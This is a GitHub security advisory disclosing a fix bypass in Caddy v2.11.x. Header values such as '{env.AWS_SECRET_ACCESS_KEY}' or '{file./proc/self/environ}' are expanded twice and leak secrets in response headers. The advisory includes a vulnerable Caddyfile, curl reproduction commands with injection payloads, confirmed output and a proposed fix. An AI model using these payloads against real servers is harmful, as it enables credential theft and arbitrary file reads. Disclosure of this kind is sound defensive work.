GitHub Advisoryadvisory · Go
GHSA-wwhq-w58m-w29c Caddy CVE-2026-30852 Fix Bypass
MEDIUM
Official page ↗
- Ecosystem
- Go
- Packages
- github.com/caddyserver/caddy/v2
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-917
- Reviewed
- 2026-05-19
Affected packages
• Go github.com/caddyserver/caddy/v2: >= 2.11.0, <= 2.11.2 (no fix yet)
Description
TL;DR
CVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header → Caddy expands it on the second pass → secrets leaked in response headers.
Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.
Root Cause
`modules/caddyhttp/vars.go`, lines 215-217:
```go
valExpanded = varStr
if !fromPlaceholder {
valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION
}
```
Same issue at line 358-360 in `MatchVarsRE`.
`fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`.
Expansion chain:
1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}`
2. Request header: `X-Tenant-ID: {env.SECRET}`
3. Pass 1 (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "")` → resolves to literal string `{env.SECRET}`. Stored in vars map.
4. Pass 2 (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll("{env.SECRET}", "")` → resolves to the actual secret value.
5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`.
Impact
• Environment variable disclosure: `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc.
• Arbitrary file read (up to 1MB): `{file./etc/passwd}`, `{file./proc/self/environ}`
• System info: `{system.hostname}`, `{system.os}`
• Full env dump in one request: `{file./proc/self/environ}`
Realistic Attack Scenario
API gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.
```
Caddyfile
:8080 {
vars tenant_id {http.request.header.X-Tenant-ID}
@has_tenant vars_regexp tenant tenant_id (.+)
handle @has_tenant {
header X-Tenant-ID "{re.tenant.1}"
reverse_proxy tenant-backend:8080
}
respond "Missing X-Tenant-ID header" 400
}
```
```
docker-compose.yml
services:
caddy:
image: caddy:2.11.2
ports:
• "8080:8080"
volumes:
• ./Caddyfile:/etc/caddy/Caddyfile:ro
environment:
• SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
• DATABASE_URL=postgresql://admin:[email protected]:5432/production
• AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
• INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY
```
Attacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}`
Response contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`
Reproduce
```bash
docker compose up -d
sleep 2
Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant
X-Tenant-Id: acme-corp
Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
Leak AWS credentials
curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Read arbitrary file
curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant
Dump ALL env vars (Linux)
curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/
```
Confirmed Test Output (Caddy v2.11.2)
```
$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp
$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345
$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: 06140d4a8645
```
Fix
Apply expansion guard to BOTH branches:
```go
// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
// valExpanded = repl.ReplaceAll(varStr, "")
// }
```
Or sanitize vars stored from user input before re-expansion.
Related
Weakness · CWE (1)
- CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement weakness